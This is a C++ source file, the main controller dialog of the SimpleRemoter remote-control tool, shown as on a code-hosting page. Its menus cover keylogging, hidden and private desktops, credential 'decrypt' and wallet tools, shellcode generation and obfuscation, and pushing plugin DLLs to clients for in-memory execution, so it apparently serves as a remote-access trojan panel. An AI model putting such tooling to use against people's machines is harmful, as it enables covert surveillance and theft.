Files
SimpleRemoter/server/2015Remote/2015RemoteDlg.cpp
2025-10-19 22:19:00 +02:00

3575 lines
121 KiB
C++
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// 2015RemoteDlg.cpp : 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "2015RemoteDlg.h"
#include "afxdialogex.h"
#include "SettingDlg.h"
#include "IOCPServer.h"
#include "ScreenSpyDlg.h"
#include "FileManagerDlg.h"
#include "TalkDlg.h"
#include "ShellDlg.h"
#include "SystemDlg.h"
#include "BuildDlg.h"
#include "AudioDlg.h"
#include "RegisterDlg.h"
#include "ServicesDlg.h"
#include "VideoDlg.h"
#include <vector>
#include "KeyBoardDlg.h"
#include "InputDlg.h"
#include "CPasswordDlg.h"
#include "pwd_gen.h"
#include "common/location.h"
#include <proxy/ProxyMapDlg.h>
#include "DateVerify.h"
#include <fstream>
#include "common/skCrypter.h"
#include "common/commands.h"
#include "common/md5.h"
#include <algorithm>
#include "HideScreenSpyDlg.h"
#include <sys/MachineDlg.h>
#include "Chat.h"
#include "DecryptDlg.h"
#include "adapter.h"
#include "client/MemoryModule.h"
#include <file/CFileManagerDlg.h>
#include "CDrawingBoard.h"
#include "CWalletDlg.h"
#include <wallet.h>
#include "CRcEditDlg.h"
#ifdef _DEBUG
#define new DEBUG_NEW
#endif
#define UM_ICONNOTIFY WM_USER+100
#define TIMER_CHECK 1
#define TIMER_CLOSEWND 2
#define TODO_NOTICE MessageBoxA("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
typedef struct {
const char* szTitle; //列表的名称
int nWidth; //列表的宽度
} COLUMNSTRUCT;
const int g_Column_Count_Online = ONLINELIST_MAX; // 报表的列数
COLUMNSTRUCT g_Column_Data_Online[g_Column_Count_Online] = {
{"IP", 130 },
{"端口", 60 },
{"地理位置", 130 },
{"计算机名/备注", 150 },
{"操作系统", 120 },
{"CPU", 80 },
{"摄像头", 70 },
{"RTT", 70 },
{"版本", 90 },
{"安装时间", 120 },
{"活动窗口", 140 },
{"类型", 50 },
};
// 用于应用程序“关于”菜单项的 CAboutDlg 对话框
const int g_Column_Count_Message = 3; // 列表的个数
COLUMNSTRUCT g_Column_Data_Message[g_Column_Count_Message] = {
{"信息类型", 200 },
{"时间", 200 },
{"信息内容", 490 }
};
int g_Column_Online_Width = 0;
int g_Column_Message_Width = 0;
CMy2015RemoteDlg* g_2015RemoteDlg = NULL;
static UINT Indicators[] = {
IDR_STATUSBAR_STRING
};
std::string EventName()
{
char eventName[64];
snprintf(eventName, sizeof(eventName), "EVENT_%d", GetCurrentProcessId());
return eventName;
}
//////////////////////////////////////////////////////////////////////////
// 保存 unordered_map 到文件
void SaveToFile(const ComputerNoteMap& data, const std::string& filename)
{
std::ofstream outFile(filename, std::ios::binary); // 打开文件(以二进制模式)
if (outFile.is_open()) {
for (const auto& pair : data) {
outFile.write(reinterpret_cast<const char*>(&pair.first), sizeof(ClientKey)); // 保存 key
int valueSize = pair.second.GetLength();
outFile.write(reinterpret_cast<const char*>(&valueSize), sizeof(int)); // 保存 value 的大小
outFile.write((char*)&pair.second, valueSize); // 保存 value 字符串
}
outFile.close();
} else {
Mprintf("Unable to open file '%s' for writing!\n", filename.c_str());
}
}
// 从文件读取 unordered_map 数据
void LoadFromFile(ComputerNoteMap& data, const std::string& filename)
{
std::ifstream inFile(filename, std::ios::binary); // 打开文件(以二进制模式)
if (inFile.is_open()) {
while (inFile.peek() != EOF) {
ClientKey key;
inFile.read(reinterpret_cast<char*>(&key), sizeof(ClientKey)); // 读取 key
int valueSize;
inFile.read(reinterpret_cast<char*>(&valueSize), sizeof(int)); // 读取 value 的大小
ClientValue value;
inFile.read((char*)&value, valueSize); // 读取 value 字符串
data[key] = value; // 插入到 map 中
}
inFile.close();
} else {
Mprintf("Unable to open file '%s' for reading!\n", filename.c_str());
}
}
//////////////////////////////////////////////////////////////////////////
class CAboutDlg : public CDialogEx
{
public:
CAboutDlg();
// 对话框数据
enum { IDD = IDD_ABOUTBOX };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
// 实现
protected:
DECLARE_MESSAGE_MAP()
};
CAboutDlg::CAboutDlg() : CDialogEx(CAboutDlg::IDD)
{
}
void CAboutDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
}
BEGIN_MESSAGE_MAP(CAboutDlg, CDialogEx)
END_MESSAGE_MAP()
// CMy2015RemoteDlg 对话框
std::string GetDbPath()
{
static char path[MAX_PATH], *name = "YAMA.db";
static std::string ret = (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path)) ? "." : path)
+ std::string("\\YAMA\\");
static BOOL ok = CreateDirectoryA(ret.c_str(), NULL);
static std::string dbPath = ret + name;
return dbPath;
}
std::string GetFrpSettingsPath()
{
#ifdef _DEBUG
char path[MAX_PATH];
GetModuleFileNameA(NULL, path, MAX_PATH);
GET_FILEPATH(path, "frpc.ini");
return path;
#else
static char path[MAX_PATH], * name = "frpc.ini";
static std::string ret = (FAILED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, path)) ? "." : path)
+ std::string("\\YAMA\\");
static BOOL ok = CreateDirectoryA(ret.c_str(), NULL);
static std::string p = ret + name;
return p;
#endif
}
std::string GetFileName(const char* filepath)
{
const char* slash1 = strrchr(filepath, '/');
const char* slash2 = strrchr(filepath, '\\');
const char* slash = slash1 > slash2 ? slash1 : slash2;
return slash ? slash + 1 : filepath;
}
bool IsDll64Bit(BYTE* dllBase)
{
if (!dllBase) return false;
auto dos = (IMAGE_DOS_HEADER*)dllBase;
if (dos->e_magic != IMAGE_DOS_SIGNATURE) {
Mprintf("Invalid DOS header\n");
return false;
}
auto nt = (IMAGE_NT_HEADERS*)(dllBase + dos->e_lfanew);
if (nt->Signature != IMAGE_NT_SIGNATURE) {
Mprintf("Invalid NT header\n");
return false;
}
WORD magic = nt->OptionalHeader.Magic;
return magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC;
}
// 返回:读取的字节数组指针(需要手动释放)
DllInfo* ReadPluginDll(const std::string& filename)
{
// 打开文件(以二进制模式)
std::ifstream file(filename, std::ios::binary | std::ios::ate);
std::string name = GetFileName(filename.c_str());
if (!file.is_open() || name.length() >= 32) {
Mprintf("无法打开文件: %s\n", filename.c_str());
return nullptr;
}
// 获取文件大小
std::streamsize fileSize = file.tellg();
file.seekg(0, std::ios::beg);
// 分配缓冲区: CMD + DllExecuteInfo + size
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfo) + fileSize];
BYTE* dllData = buffer + 1 + sizeof(DllExecuteInfo);
if (!file.read(reinterpret_cast<char*>(dllData), fileSize)) {
Mprintf("读取文件失败: %s\n", filename.c_str());
delete[] buffer;
return nullptr;
}
if (!IsDll64Bit(dllData)) {
Mprintf("不支持32位DLL: %s\n", filename.c_str());
delete[] buffer;
return nullptr;
}
std::string masterHash(GetMasterHash());
int offset = MemoryFind((char*)dllData, masterHash.c_str(), fileSize, masterHash.length());
if (offset != -1) {
std::string masterId = GetPwdHash(), hmac = GetHMAC();
if(hmac.empty())
hmac = THIS_CFG.GetStr("settings", "HMAC");
memcpy((char*)dllData + offset, masterId.c_str(), masterId.length());
memcpy((char*)dllData + offset + masterId.length(), hmac.c_str(), hmac.length());
}
// 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_IOCPTHREAD, };
memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length());
buffer[0] = CMD_EXECUTE_DLL;
memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize, 0, md5);
SAFE_DELETE_ARRAY(buffer);
return new DllInfo{ name, buf };
}
std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath)
{
std::vector<DllInfo*> result;
std::string searchPath = dirPath + "\\*.dll";
WIN32_FIND_DATAA findData;
HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);
if (hFind == INVALID_HANDLE_VALUE) {
Mprintf("无法打开目录: %s\n", dirPath.c_str());
return result;
}
do {
if (!(findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
std::string fullPath = dirPath + "\\" + findData.cFileName;
DllInfo* dll = ReadPluginDll(fullPath.c_str());
if (dll) {
result.push_back(dll);
}
}
} while (FindNextFileA(hFind, &findData));
FindClose(hFind);
return result;
}
std::string GetParentDir()
{
char exePath[MAX_PATH];
GetModuleFileNameA(NULL, exePath, MAX_PATH);
std::string path(exePath);
// 找到最后一个反斜杠,得到程序目录
size_t pos = path.find_last_of("\\/");
if (pos != std::string::npos) {
path = path.substr(0, pos); // 程序目录
}
// 再往上一级
pos = path.find_last_of("\\/");
if (pos != std::string::npos) {
path = path.substr(0, pos);
}
return path;
}
CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::IDD, pParent)
{
auto s = GetMasterHash();
char buf[17] = { 0 };
std::strncpy(buf, s.c_str(), 16);
m_superID = std::strtoull(buf, NULL, 16);
m_nMaxConnection = 2;
m_hExit = CreateEvent(NULL, TRUE, FALSE, NULL);
m_hIcon = THIS_APP->LoadIcon(IDR_MAINFRAME);
m_bmOnline[0].LoadBitmap(IDB_BITMAP_ONLINE);
m_bmOnline[1].LoadBitmap(IDB_BITMAP_UPDATE);
m_bmOnline[2].LoadBitmap(IDB_BITMAP_DELETE);
m_bmOnline[3].LoadBitmap(IDB_BITMAP_SHARE);
m_bmOnline[4].LoadBitmap(IDB_BITMAP_PROXY);
m_bmOnline[5].LoadBitmap(IDB_BITMAP_HOSTNOTE);
m_bmOnline[6].LoadBitmap(IDB_BITMAP_VDESKTOP);
m_bmOnline[7].LoadBitmap(IDB_BITMAP_GDESKTOP);
m_bmOnline[8].LoadBitmap(IDB_BITMAP_DDESKTOP);
m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP);
m_bmOnline[10].LoadBitmap(IDB_BITMAP_AUTHORIZE);
m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH);
m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO);
m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH);
m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN);
m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL);
m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
m_ServerBin[i] = nullptr;
}
InitializeCriticalSection(&m_cs);
// Init DLL list
char path[_MAX_PATH];
GetModuleFileNameA(NULL, path, _MAX_PATH);
GET_FILEPATH(path, "Plugins");
m_DllList = ReadAllDllFilesWindows(path);
m_tinyDLL = NULL;
auto dlls = ReadAllDllFilesWindows(GetParentDir() + "\\Plugins");
m_DllList.insert(m_DllList.end(), dlls.begin(), dlls.end());
}
CMy2015RemoteDlg::~CMy2015RemoteDlg()
{
DeleteCriticalSection(&m_cs);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
SAFE_DELETE(m_ServerDLL[i]);
SAFE_DELETE(m_ServerBin[i]);
}
for (int i = 0; i < m_DllList.size(); i++) {
SAFE_DELETE(m_DllList[i]);
}
if (m_tinyDLL) {
MemoryFreeLibrary(m_tinyDLL);
m_tinyDLL = NULL;
}
}
void CMy2015RemoteDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_ONLINE, m_CList_Online);
DDX_Control(pDX, IDC_MESSAGE, m_CList_Message);
DDX_Control(pDX, IDC_GROUP_TAB, m_GroupTab);
}
BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_WM_SYSCOMMAND()
ON_WM_PAINT()
ON_WM_QUERYDRAGICON()
ON_WM_SIZE()
ON_WM_TIMER()
ON_WM_CLOSE()
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
ON_NOTIFY(HDN_ITEMCLICK, 0, &CMy2015RemoteDlg::OnHdnItemclickList)
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
ON_COMMAND(ID_ONLINE_UPDATE, &CMy2015RemoteDlg::OnOnlineUpdate)
ON_COMMAND(IDM_ONLINE_ABOUT, &CMy2015RemoteDlg::OnAbout)
ON_COMMAND(ID_HELP, &CMy2015RemoteDlg::OnAbout)
ON_COMMAND(IDM_ONLINE_CMD, &CMy2015RemoteDlg::OnOnlineCmdManager)
ON_COMMAND(IDM_ONLINE_PROCESS, &CMy2015RemoteDlg::OnOnlineProcessManager)
ON_COMMAND(IDM_ONLINE_WINDOW, &CMy2015RemoteDlg::OnOnlineWindowManager)
ON_COMMAND(IDM_ONLINE_DESKTOP, &CMy2015RemoteDlg::OnOnlineDesktopManager)
ON_COMMAND(IDM_ONLINE_FILE, &CMy2015RemoteDlg::OnOnlineFileManager)
ON_COMMAND(IDM_ONLINE_AUDIO, &CMy2015RemoteDlg::OnOnlineAudioManager)
ON_COMMAND(IDM_ONLINE_VIDEO, &CMy2015RemoteDlg::OnOnlineVideoManager)
ON_COMMAND(IDM_ONLINE_SERVER, &CMy2015RemoteDlg::OnOnlineServerManager)
ON_COMMAND(IDM_ONLINE_REGISTER, &CMy2015RemoteDlg::OnOnlineRegisterManager)
ON_COMMAND(IDM_KEYBOARD, &CMy2015RemoteDlg::OnOnlineKeyboardManager)
ON_COMMAND(IDM_ONLINE_BUILD, &CMy2015RemoteDlg::OnOnlineBuildClient) //生成Client
ON_MESSAGE(UM_ICONNOTIFY, (LRESULT(__thiscall CWnd::*)(WPARAM, LPARAM))OnIconNotify)
ON_COMMAND(IDM_NOTIFY_SHOW, &CMy2015RemoteDlg::OnNotifyShow)
ON_COMMAND(ID_NOTIFY_EXIT, &CMy2015RemoteDlg::OnNotifyExit)
ON_COMMAND(ID_MAIN_SET, &CMy2015RemoteDlg::OnMainSet)
ON_COMMAND(ID_MAIN_EXIT, &CMy2015RemoteDlg::OnMainExit)
ON_MESSAGE(WM_USERTOONLINELIST, OnUserToOnlineList)
ON_MESSAGE(WM_USEROFFLINEMSG, OnUserOfflineMsg)
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
ON_MESSAGE(WM_OPENFILEMANAGERDIALOG, OnOpenFileManagerDialog)
ON_MESSAGE(WM_OPENTALKDIALOG, OnOpenTalkDialog)
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
ON_MESSAGE(WM_OPENSYSTEMDIALOG, OnOpenSystemDialog)
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog)
ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog)
ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog)
ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage)
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyboardDialog)
ON_MESSAGE(WM_OPENPROXYDIALOG, OnOpenProxyDialog)
ON_MESSAGE(WM_OPENHIDESCREENDLG, OnOpenHideScreenDialog)
ON_MESSAGE(WM_OPENMACHINEMGRDLG, OnOpenMachineManagerDialog)
ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog)
ON_MESSAGE(WM_OPENDECRYPTDIALOG, OnOpenDecryptDialog)
ON_MESSAGE(WM_OPENFILEMGRDIALOG, OnOpenFileMgrDialog)
ON_MESSAGE(WM_OPENDRAWINGBOARD, OnOpenDrawingBoard)
ON_MESSAGE(WM_UPXTASKRESULT, UPXProcResult)
ON_MESSAGE(WM_PASSWORDCHECK, OnPasswordCheck)
ON_MESSAGE(WM_SHOWMESSAGE, OnShowMessage)
ON_MESSAGE(WM_SHOWERRORMSG, OnShowErrMessage)
ON_WM_HELPINFO()
ON_COMMAND(ID_ONLINE_SHARE, &CMy2015RemoteDlg::OnOnlineShare)
ON_COMMAND(ID_TOOL_AUTH, &CMy2015RemoteDlg::OnToolAuth)
ON_COMMAND(ID_TOOL_GEN_MASTER, &CMy2015RemoteDlg::OnToolGenMaster)
ON_COMMAND(ID_MAIN_PROXY, &CMy2015RemoteDlg::OnMainProxy)
ON_COMMAND(ID_ONLINE_HOSTNOTE, &CMy2015RemoteDlg::OnOnlineHostnote)
ON_COMMAND(ID_HELP_IMPORTANT, &CMy2015RemoteDlg::OnHelpImportant)
ON_COMMAND(ID_HELP_FEEDBACK, &CMy2015RemoteDlg::OnHelpFeedback)
// 将所有动态子菜单项的命令 ID 映射到同一个响应函数
ON_COMMAND_RANGE(ID_DYNAMIC_MENU_BASE, ID_DYNAMIC_MENU_BASE + 20, &CMy2015RemoteDlg::OnDynamicSubMenu)
ON_COMMAND(ID_ONLINE_VIRTUAL_DESKTOP, &CMy2015RemoteDlg::OnOnlineVirtualDesktop)
ON_COMMAND(ID_ONLINE_GRAY_DESKTOP, &CMy2015RemoteDlg::OnOnlineGrayDesktop)
ON_COMMAND(ID_ONLINE_REMOTE_DESKTOP, &CMy2015RemoteDlg::OnOnlineRemoteDesktop)
ON_COMMAND(ID_ONLINE_H264_DESKTOP, &CMy2015RemoteDlg::OnOnlineH264Desktop)
ON_COMMAND(ID_WHAT_IS_THIS, &CMy2015RemoteDlg::OnWhatIsThis)
ON_COMMAND(ID_ONLINE_AUTHORIZE, &CMy2015RemoteDlg::OnOnlineAuthorize)
ON_NOTIFY(NM_DBLCLK, IDC_ONLINE, &CMy2015RemoteDlg::OnListClick)
ON_COMMAND(ID_ONLINE_UNAUTHORIZE, &CMy2015RemoteDlg::OnOnlineUnauthorize)
ON_COMMAND(ID_TOOL_REQUEST_AUTH, &CMy2015RemoteDlg::OnToolRequestAuth)
ON_COMMAND(ID_TOOL_INPUT_PASSWORD, &CMy2015RemoteDlg::OnToolInputPassword)
ON_COMMAND(ID_TOOL_GEN_SHELLCODE, &CMy2015RemoteDlg::OnToolGenShellcode)
ON_COMMAND(ID_ONLINE_ASSIGN_TO, &CMy2015RemoteDlg::OnOnlineAssignTo)
ON_NOTIFY(NM_CUSTOMDRAW, IDC_MESSAGE, &CMy2015RemoteDlg::OnNMCustomdrawMessage)
ON_COMMAND(ID_ONLINE_ADD_WATCH, &CMy2015RemoteDlg::OnOnlineAddWatch)
ON_NOTIFY(NM_CUSTOMDRAW, IDC_ONLINE, &CMy2015RemoteDlg::OnNMCustomdrawOnline)
ON_COMMAND(ID_ONLINE_RUN_AS_ADMIN, &CMy2015RemoteDlg::OnOnlineRunAsAdmin)
ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet)
ON_COMMAND(ID_TOOL_RCEDIT, &CMy2015RemoteDlg::OnToolRcedit)
ON_COMMAND(ID_ONLINE_UNINSTALL, &CMy2015RemoteDlg::OnOnlineUninstall)
ON_COMMAND(ID_ONLINE_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnOnlinePrivateScreen)
ON_NOTIFY(TCN_SELCHANGE, IDC_GROUP_TAB, &CMy2015RemoteDlg::OnSelchangeGroupTab)
ON_COMMAND(ID_OBFS_SHELLCODE, &CMy2015RemoteDlg::OnObfsShellcode)
ON_COMMAND(ID_ONLINE_REGROUP, &CMy2015RemoteDlg::OnOnlineRegroup)
ON_COMMAND(ID_MACHINE_SHUTDOWN, &CMy2015RemoteDlg::OnMachineShutdown)
ON_COMMAND(ID_MACHINE_REBOOT, &CMy2015RemoteDlg::OnMachineReboot)
ON_COMMAND(ID_EXECUTE_DOWNLOAD, &CMy2015RemoteDlg::OnExecuteDownload)
ON_COMMAND(ID_EXECUTE_UPLOAD, &CMy2015RemoteDlg::OnExecuteUpload)
ON_COMMAND(ID_MACHINE_LOGOUT, &CMy2015RemoteDlg::OnMachineLogout)
ON_WM_DESTROY()
ON_MESSAGE(WM_SESSION_ACTIVATED, &CMy2015RemoteDlg::OnSessionActivatedMsg)
END_MESSAGE_MAP()
// CMy2015RemoteDlg 消息处理程序
void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
{
switch ((UINT)lParam) {
case WM_LBUTTONDOWN: {
if (IsIconic()) {
ShowWindow(SW_SHOW);
break;
}
ShowWindow(IsWindowVisible() ? SW_HIDE : SW_SHOW);
SetForegroundWindow();
break;
}
case WM_RBUTTONDOWN: {
CMenu Menu;
Menu.LoadMenu(IDR_MENU_NOTIFY);
CPoint Point;
GetCursorPos(&Point);
SetForegroundWindow(); //设置当前窗口
Menu.GetSubMenu(0)->TrackPopupMenu(
TPM_LEFTBUTTON|TPM_RIGHTBUTTON,
Point.x, Point.y, this, NULL);
break;
}
}
}
VOID CMy2015RemoteDlg::CreateSolidMenu()
{
m_MainMenu.LoadMenu(IDR_MENU_MAIN);
CMenu* SubMenu = m_MainMenu.GetSubMenu(1);
std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash || m_superPass.empty()) {
SubMenu->DeleteMenu(ID_TOOL_GEN_MASTER, MF_BYCOMMAND);
}
SubMenu = m_MainMenu.GetSubMenu(2);
if (!THIS_CFG.GetStr("settings", "Password").empty()) {
SubMenu->DeleteMenu(ID_TOOL_REQUEST_AUTH, MF_BYCOMMAND);
}
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); //为窗口设置菜单
::DrawMenuBar(this->GetSafeHwnd()); //显示菜单
}
VOID CMy2015RemoteDlg::CreatStatusBar()
{
if (!m_StatusBar.Create(this) ||
!m_StatusBar.SetIndicators(Indicators,
sizeof(Indicators)/sizeof(UINT))) { //创建状态条并设置字符资源的ID
return ;
}
CRect rect;
GetWindowRect(&rect);
rect.bottom+=20;
MoveWindow(rect);
}
VOID CMy2015RemoteDlg::CreateNotifyBar()
{
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //大小赋值
m_Nid.hWnd = m_hWnd; //父窗口 是被定义在父类CWnd类中
m_Nid.uID = IDR_MAINFRAME; //icon ID
m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //托盘所拥有的状态
m_Nid.uCallbackMessage = UM_ICONNOTIFY; //回调消息
m_Nid.hIcon = m_hIcon; //icon 变量
CString strTips ="禁界: 远程协助软件"; //气泡提示
lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0]));
Shell_NotifyIcon(NIM_ADD, &m_Nid); //显示托盘
}
VOID CMy2015RemoteDlg::CreateToolBar()
{
if (!m_ToolBar.CreateEx(this, TBSTYLE_FLAT, WS_CHILD | WS_VISIBLE | CBRS_TOP
| CBRS_GRIPPER | CBRS_TOOLTIPS | CBRS_FLYBY | CBRS_SIZE_DYNAMIC) ||
!m_ToolBar.LoadToolBar(IDR_TOOLBAR_MAIN)) { //创建一个工具条 加载资源
return;
}
m_ToolBar.LoadTrueColorToolBar
(
48, //加载真彩工具条
IDB_BITMAP_MAIN,
IDB_BITMAP_MAIN,
IDB_BITMAP_MAIN
); //和我们的位图资源相关联
RECT Rect,RectMain;
GetWindowRect(&RectMain); //得到整个窗口的大小
Rect.left=0;
Rect.top=0;
Rect.bottom=80;
Rect.right=RectMain.right-RectMain.left+10;
m_ToolBar.MoveWindow(&Rect,TRUE);
m_ToolBar.SetButtonText(0,"终端管理"); //在位图的下面添加文件
m_ToolBar.SetButtonText(1,"进程管理");
m_ToolBar.SetButtonText(2,"窗口管理");
m_ToolBar.SetButtonText(3,"桌面管理");
m_ToolBar.SetButtonText(4,"文件管理");
m_ToolBar.SetButtonText(5,"语音管理");
m_ToolBar.SetButtonText(6,"视频管理");
m_ToolBar.SetButtonText(7,"服务管理");
m_ToolBar.SetButtonText(8,"注册表管理");
m_ToolBar.SetButtonText(9, "键盘记录");
m_ToolBar.SetButtonText(10,"参数设置");
m_ToolBar.SetButtonText(11,"生成服务端");
m_ToolBar.SetButtonText(12,"帮助");
RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0); //显示
}
VOID CMy2015RemoteDlg::InitControl()
{
//专属函数
m_selectedGroup = "default";
m_GroupTab.InsertItem(0, _T("default"));
CRect rect;
GetWindowRect(&rect);
rect.bottom+=20;
MoveWindow(rect);
auto style = LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_DOUBLEBUFFER | LVS_EX_HEADERDRAGDROP | LVS_EX_LABELTIP;
for (int i = 0; i<g_Column_Count_Online; ++i) {
m_CList_Online.InsertColumn(i, g_Column_Data_Online[i].szTitle,LVCFMT_CENTER,g_Column_Data_Online[i].nWidth);
g_Column_Online_Width+=g_Column_Data_Online[i].nWidth;
}
m_CList_Online.ModifyStyle(0, LVS_SHOWSELALWAYS);
m_CList_Online.SetExtendedStyle(style);
m_CList_Online.SetParent(&m_GroupTab);
m_CList_Online.ModifyStyle(WS_HSCROLL, 0);
for (int i = 0; i < g_Column_Count_Message; ++i) {
m_CList_Message.InsertColumn(i, g_Column_Data_Message[i].szTitle, LVCFMT_LEFT,g_Column_Data_Message[i].nWidth);
g_Column_Message_Width+=g_Column_Data_Message[i].nWidth;
}
m_CList_Message.ModifyStyle(0, LVS_SHOWSELALWAYS);
m_CList_Message.SetExtendedStyle(style);
m_CList_Message.ModifyStyle(WS_HSCROLL, 0);
}
VOID CMy2015RemoteDlg::TestOnline()
{
ShowMessage("操作成功", "软件初始化成功...");
}
std::vector<CString> SplitCString(CString strData)
{
std::vector<CString> vecItems;
CString strItem;
int i = 0;
while (AfxExtractSubString(strItem, strData, i, _T('|'))) {
vecItems.push_back(strItem); // Add to vector
i++;
}
return vecItems;
}
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
CString strCPU, CString strVideo, CString strPing, CString ver,
CString startTime, const std::vector<std::string>& v, CONTEXT_OBJECT * ContextObject)
{
auto arr = StringToVector(strPCName.GetString(), '/', 2);
strPCName = arr[0].c_str();
auto groupName = arr[1];
CString install = v[RES_INSTALL_TIME].empty() ? "?" : v[RES_INSTALL_TIME].c_str();
CString path = v[RES_FILE_PATH].empty() ? "?" : v[RES_FILE_PATH].c_str();
CString data[ONLINELIST_MAX] = { strIP, strAddr, "", strPCName, strOS, strCPU, strVideo, strPing,
ver, install, startTime, v[RES_CLIENT_TYPE].empty() ? "?" : v[RES_CLIENT_TYPE].c_str(), path
};
auto id = CONTEXT_OBJECT::CalculateID(data);
bool modify = false;
CString loc = GetClientMapData(id, MAP_LOCATION);
if (loc.IsEmpty()) {
loc = v[RES_CLIENT_LOC].c_str();
if (loc.IsEmpty()) {
IPConverter cvt;
loc = cvt.GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str();
}
if (!loc.IsEmpty()) {
modify = true;
SetClientMapData(id, MAP_LOCATION, loc);
}
}
data[ONLINELIST_LOCATION] = loc;
ContextObject->SetClientInfo(data, v);
ContextObject->SetID(id);
ContextObject->SetGroup(groupName);
EnterCriticalSection(&m_cs);
if (!groupName.empty() && m_GroupList.end() == m_GroupList.find(groupName)) {
m_GroupTab.InsertItem(m_GroupList.size(), groupName.c_str());
m_GroupList.insert(groupName);
}
for (auto i = m_HostList.begin(); i != m_HostList.end(); ++i) {
auto ctx = *i;
if (ctx == ContextObject || ctx->GetClientID() == id) {
LeaveCriticalSection(&m_cs);
Mprintf("TODO: '%s' already exist!!\n", strIP);
return;
}
}
if (modify)
SaveToFile(m_ClientMap, GetDbPath());
auto& m = m_ClientMap[ContextObject->ID];
bool flag = strIP == "127.0.0.1" && !v[RES_CLIENT_PUBIP].empty();
m_HostList.insert(ContextObject);
if (groupName == m_selectedGroup || (groupName.empty() && m_selectedGroup == "default")) {
int i = m_CList_Online.InsertItem(m_CList_Online.GetItemCount(), flag ? v[RES_CLIENT_PUBIP].c_str() : strIP);
for (int n = ONLINELIST_ADDR; n <= ONLINELIST_CLIENTTYPE; n++) {
n == ONLINELIST_COMPUTER_NAME ?
m_CList_Online.SetItemText(i, n, m.GetNote()[0] ? m.GetNote() : data[n]) :
m_CList_Online.SetItemText(i, n, data[n].IsEmpty() ? "?" : data[n]);
}
m_CList_Online.SetItemData(i, (DWORD_PTR)ContextObject);
}
std::string tip = flag ? " (" + v[RES_CLIENT_PUBIP] + ") " : "";
ShowMessage("操作成功",strIP + tip.c_str() + "主机上线");
LeaveCriticalSection(&m_cs);
SendMasterSettings(ContextObject);
}
LRESULT CMy2015RemoteDlg::OnShowMessage(WPARAM wParam, LPARAM lParam)
{
if (wParam && !lParam) {
CString* text = (CString*)wParam;
ShowMessage("提示信息", *text);
delete text;
return S_OK;
}
std::string pwd = THIS_CFG.GetStr("settings", "Password");
if (pwd.empty())
ShowMessage("授权提醒", "程序可能有使用限制,请联系管理员请求授权");
if (wParam && lParam) {
uint32_t recvLow = (uint32_t)wParam;
uint32_t recvHigh = (uint32_t)lParam;
uint64_t restored = ((uint64_t)recvHigh << 32) | recvLow;
if (restored != m_superID)
THIS_APP->UpdateMaxConnection(3+time(0)%5);
}
return S_OK;
}
VOID CMy2015RemoteDlg::ShowMessage(CString strType, CString strMsg)
{
AUTO_TICK(200);
